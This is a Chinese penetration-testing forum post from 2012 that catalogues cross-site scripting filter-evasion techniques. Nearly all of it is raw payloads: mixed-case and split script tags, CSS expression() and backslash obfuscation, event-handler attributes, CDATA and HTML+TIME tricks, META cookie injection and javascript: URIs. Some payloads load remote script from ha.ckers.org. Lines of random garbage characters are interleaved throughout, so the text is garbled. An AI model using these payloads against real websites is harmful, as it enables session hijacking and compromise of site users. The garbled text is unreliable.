中国网络渗透测试联盟
标题:
Cross Site Scripting(XSS)攻击手法介绍
[打印本页]
作者:
admin
时间:
2012-12-31 09:59
标题:
Cross Site Scripting(XSS)攻击手法介绍
1. 改变字符大小写
- j; C; B2 R& `
5 H; U2 K, g; c' N' ~! L
' K. Z) g+ \7 L4 ]
% `6 }# ~, C9 h, k1 Z& s& ~
<sCript>alert(‘d’)</scRipT>
# \1 Z L) {9 P3 y# S
/ L; R. a* G1 S. Y" O7 g6 A" v
2. 利用多加一些其它字符来规避Regular Expression的检查
6 I F" k! B8 W$ @: A" Y; G
) c5 a8 [, @* y" C" [) j
<<script>alert(‘c’)//<</script>
3 h j8 i4 [. a5 Z
- j3 `! `6 G/ N
<SCRIPT a=">" SRC="t.js"></SCRIPT>
6 k$ H1 h0 L% u6 p) b
* z2 s7 j/ s( c6 m% |" N6 K* ?5 m
<SCRIPT =">" SRC="t.js"></SCRIPT>
( Z! ~& a' w+ D6 ?/ c
+ ^% I9 ^3 f! u- v! O2 i) y
<SCRIPT a=">" ” SRC="t.js"></SCRIPT>
& h, y# x h1 _; G
. U8 ]$ s/ y; C$ A0 M) \; e3 ]
<SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
4 | Q) R# r8 x8 ^) V% H% O0 A1 c
$ U3 l7 x6 {3 b# s9 G' R
<SCRIPT a=`>` SRC="t.js"></SCRIPT>
) C2 C, b! h, ?2 z7 A' d$ K, H9 W( _, m
L) Z0 @% l7 U. P( b
<SCRIPT a=">’>" SRC="t.js"></SCRIPT>
3 o4 ^* Z) @6 L! e- f
! A$ ]6 _; C3 W# E5 N$ m5 J
3. 以其它扩展名取代.js
) B+ f8 d1 e# w+ _
# {$ T4 n- B2 p/ O9 `
<script src="bad.jpg"></script>
- f( ]8 B' ~$ W; s
. o, r6 f: r4 G& t2 a
4. 将Javascript写在CSS档里
8 c1 \4 Q# q3 c9 E9 f
8 w/ e6 t6 o6 b( _2 ~' w5 E
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
9 d0 z8 K$ X! M- x: h! U
* J2 l8 V) A5 O2 d2 ~2 d
example:
, C$ O& I5 P; M: R/ m' i# e: h
) C" V& T; u( |2 n4 M; A3 L
body {
+ M/ m; V& x8 c5 G9 t
: m& `9 ?" z: e! f6 N% n# x
background-image: url(‘javascript:alert("XSS");’)
: W* S8 V6 y: P# r
- _( U4 w* D. ]+ {! }& _ C
}
/ k0 @- {6 t3 i7 F4 Y
: N2 |4 _9 i; ]: J
5. 在script的tag里加入一些其它字符
$ k) T# M- l" m6 b. P& [
4 v; H; Y# H4 v: T6 D# s/ `$ D
<SCRIPT/SRC="t.js"></SCRIPT>
V0 W d" {1 S I$ V) a
$ x C/ g9 Q& m8 e1 {) [
<SCRIPT/anyword SRC="t.js"></SCRIPT>
% G: z% j( j, G% |$ ]
. {5 c8 s% z; w" K0 K
6. 使用tab或是new line来规避
2 W4 l3 H, R) y/ ^/ t
; r% n8 ~, B! O$ Q
<img src="jav ascr ipt:alert(‘XSS3′)">
# O$ R+ I. o# v9 ~, ~0 E
- n; \. X$ r# p. I% j W) d# @
<img src="jav ascr ipt:alert(‘XSS3′)">
9 w, z0 M/ I. k% L4 ^
8 _0 `6 L% H% w0 Q5 V" n {
<IMG SRC="jav ascript:alert(‘XSS’);">
" r5 t, d( Z+ r4 \/ n, C+ L
3 g' M1 x2 i: d; T3 k" _, x7 z
-> tag
' K t' G& L: {8 i: J# N7 q
5 j# e c J" O/ B% b( A1 ?
-> new line
W! L% ?% B) s, F. H) ^7 `4 Q
% S, y" ?; C! z" V# l7 S
7. 使用"\"来规避
( a2 _& J" {, v! t O
( Q/ t( i% I: d6 T& Y( q
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>
! y5 e5 u T& [8 K$ A
) D4 z8 B1 p2 l9 f' v0 m
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
; R+ }0 _9 q8 J, q( `5 |$ q
1 n8 k- s+ c3 F( _4 M, i
<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
2 m+ t/ R- A8 c0 y4 d9 O0 M/ u
5 J: u* G$ e$ m/ j
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
! O, e) h6 F4 Y- Q
1 n: j4 v; e, y& J
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
, `9 @0 o; A! k; u) e! J( D
) N: ? v7 P$ k1 H2 S
8. 使用Hex encode来规避(也可能会把";"拿掉)
3 ]0 s3 L$ ]% f; e6 ~
+ h& ~2 U3 m# N* b$ b
<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
' D4 O# s/ B/ G6 }& R
) {0 L( n+ l! ?; Q7 }7 @. w
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
+ [5 J) E* d# e; e* }" O
* ?* O1 Y! r, k
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
, X* D, R0 |# j
) t" @+ ^3 `! F/ u9 M, ^2 O, P- R
原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
0 E4 f( s" _) e) K
' q m' o& A( s: f' W' w/ ?7 d
9. script in HTML tag
1 ~: l2 B' F( j) u7 c
$ q$ Q3 e/ l+ Q1 l+ i& s; K
<body onload=」alert(‘onload’)」>
4 ]% v- W7 E' ]$ }7 _4 X8 T
* b6 M9 l$ c: n6 r+ k& ~
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
& v$ w% f8 J+ ~) z3 U. X- w% R. U0 \
# F/ `/ v% B) D' a l! v
10. 在swf里含有xss的code
; c/ Q+ X% A1 g6 ^: {2 d) {# P6 j
- t2 U; c; }. ]6 y
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
, W# f2 t$ B0 W
: N- B' |# b" O! u
11. 利用CDATA将xss的code拆开,再组合起来。
) J1 x' y- K }( t. W$ J9 f
" J9 S8 L7 y. I" x" h0 J
<XML ID=I><X><C>
; `% |5 @8 k" d D
/ O0 _+ q$ O$ v* i5 e+ K
<![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
+ a. Q8 g H0 s8 P# b& n
: R$ @" x* N4 g, o
</C></X>
; W+ N' k6 z; \! o' T3 b1 b
& {# j6 j0 n+ a* o+ l; H
</xml>
9 a7 ^: N: i0 m$ Q% _( S' I1 z
" G& P6 l/ P* t9 V; a
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
3 W7 O) I- U& ?# K, [9 Q+ p
+ | i' Z+ M4 _5 D" Y0 y
<XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
) A2 E; V N8 Z, }; c0 b& y
0 M- q: M3 L! p6 g* d* ~7 i
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
5 i% q4 [6 _, L/ Z4 A* v
& t$ F7 F9 U" A
12. 利用HTML+TIME。
9 Y( f" K0 R7 U% b5 V# E
* Q2 E) O1 ?8 V* D6 D
<HTML><BODY>
+ s" h/ |0 d' T( |
& B K) R0 j+ Q, X6 F7 R- D! |
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
* l: R+ P$ O U) Q
: c" {% W2 ~$ n/ t$ o
<?import namespace="t" implementation="#default#time2">
K# }# \: s- _) F
' o* |0 z4 T8 X, S# {
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
9 ]# J/ W: Y4 Q- `1 h
1 V" ~7 D) u! S# q: h4 r4 ?
</BODY></HTML>
; a$ N$ Y% t' B% \
3 v0 b9 w0 I1 P$ }
13. 透过META写入Cookie。
0 L, |. b: w( H: R
" d: f$ b" X$ @- o t' {* v
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
0 l3 x) w; i3 P
+ c, w, `4 @5 p' h4 [% J( @% L6 c
14. javascript in src , href , url
; F' q3 B# f! t
; Z [7 ?4 @( H' P3 \1 {0 l
<IFRAME SRC=javascript:alert(’13′)></IFRAME>
3 G& |& z- V- `
/ u7 j- m2 P& {- p
<img src="javascript:alert(‘XSS3′)">
# C3 t/ q3 V/ ?, }6 o
! Z" d* h2 T; g
<IMG DYNSRC="javascript:alert(‘XSS20′)">
, n$ q0 ?: r# [2 w" N* Q' O ]
* \( Y4 A' |$ P" w6 C6 [
<IMG LOWSRC="javascript:alert(‘XSS21′)">
' |. b/ b$ H' g$ l% q
' g9 V4 M" a3 G6 O
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
! ^+ u" c Z6 q
& G* C+ `' O( T, e, `% A+ f4 ]' t
<IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>
- A6 X: Q0 P8 }$ e9 m! a
4 j( F$ v2 b& l1 I, T% G) ]5 W
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">
2 A1 j( ]/ q4 \! R% O" v
G6 \# n( ]8 X3 i
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
# V6 ]% q6 b; @# z
$ p0 @# ~5 Z% `& S1 l
<STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
- v* i, B9 p" b4 ?% @
8 s: A7 o8 x5 T8 V4 J+ F; @$ A
</STYLE><A CLASS=XSS></A>
" q% E( e( E9 L/ H" g
) H' {" s, D6 L2 O
<FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
3 i, v. ]) [ C7 r6 u
) A; s2 I7 P' s' k! G- f$ n6 p) G/ N
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2